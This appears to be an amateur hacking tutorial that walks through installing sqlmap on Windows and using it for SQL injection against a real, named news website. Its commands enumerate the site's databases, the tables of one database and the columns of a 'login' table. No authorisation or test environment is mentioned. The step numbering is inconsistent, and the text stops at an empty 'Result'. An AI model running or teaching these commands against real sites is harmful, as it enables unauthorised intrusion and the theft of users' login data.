U can also use sqlmap in backtrack but if u are using window then install it ..link below
Follow my steps Frist Download sqlmap and python >>>>
Download the Sqlmap Here
Download python for windows required !! Download Here
Step 1# Download python and install it
Step 2# Download the Sqlmap and extract it in ..
C:\Users\username
For example C:\Users\hacker
Step 3# Find a Vulnerable Site For Example like this ..
http://www.techs.pk/news_events_detail.php?id=11'
Step 6# to find the database of a site type >>
Sqlmap.py -u "site?" --dbs
-u is used to denote the url and --dbs is used to find database of sites ..
Step 6# Now if the site is Vulnerable it will Find the database like this ...
Step 7# Now we have to find tables to do that type >>
Sqlmap.py -u "site?" -D database name --tables
For Example
Sqlmap.py -u http://www.techs.pk/news_events_detail.php?id=11 -D phase_iv --tables
This will show u All the tables of the database like this
Step 8# Now to Find columns type this >>>
Sqlmap.py -u "site?" -D database name -T "table_name" --columns
For example :
sqlmap.py -u http://www.techs.pk/news_events_detail.php?id=11 -D phase_iv -T login --columns
Result :